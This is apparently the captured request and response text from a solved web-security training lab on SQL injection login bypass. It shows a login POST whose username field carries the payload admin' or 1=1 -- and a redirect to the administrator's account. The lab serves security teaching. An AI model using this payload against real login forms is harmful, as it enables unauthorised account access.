


## SQL injection vulnerability allowing login bypass.

 SQL injection vulnerability allowing login bypass

LAB Solved

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### My Account

Your username is: administrator

Email

Update email

1 x +

Send Cancel < > Follow redirection

Target: https://0af3001904b183bb80f09e2f00820099.web-security-academy.net HTTP/2

Request

13 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,\*/\*;q=0.8,application/signed-exchange;v=b3;q=0.7

14 Sec-Fetch-Site: same-origin

15 Sec-Fetch-Mode: navigate

16 Sec-Fetch-User: ?1

17 Sec-Fetch-Dest: document

18 Referer: https://0af3001904b183bb80f09e2f00820099.web-security-academy.net/login

19 Accept-Encoding: gzip, deflate

20 Accept-Language: es-ES,es;q=0.9

21

22 csrf=LDoWeUsceLMJ6IbC1aDGruCcdfPkkKTC&username=admin' or 1=1 --&password=admin

Response

1 HTTP/2 302 Found

2 Location: /my-account?id=administrator

3 Set-Cookie: session=0SZM9RcQ1Ma01F76R7YoQaXhjq3jEEJ; Secure; HttpOnly; SameSite=None

4 X-Frame-Options: SAMEORIGIN

5 Content-Length: 0

6

7

Inspector

Request attributes 2

Request query parameters 0

Request body parameters 3

Request cookies 1

Request headers 22

Response headers 4

Done 195 bytes | 203 mills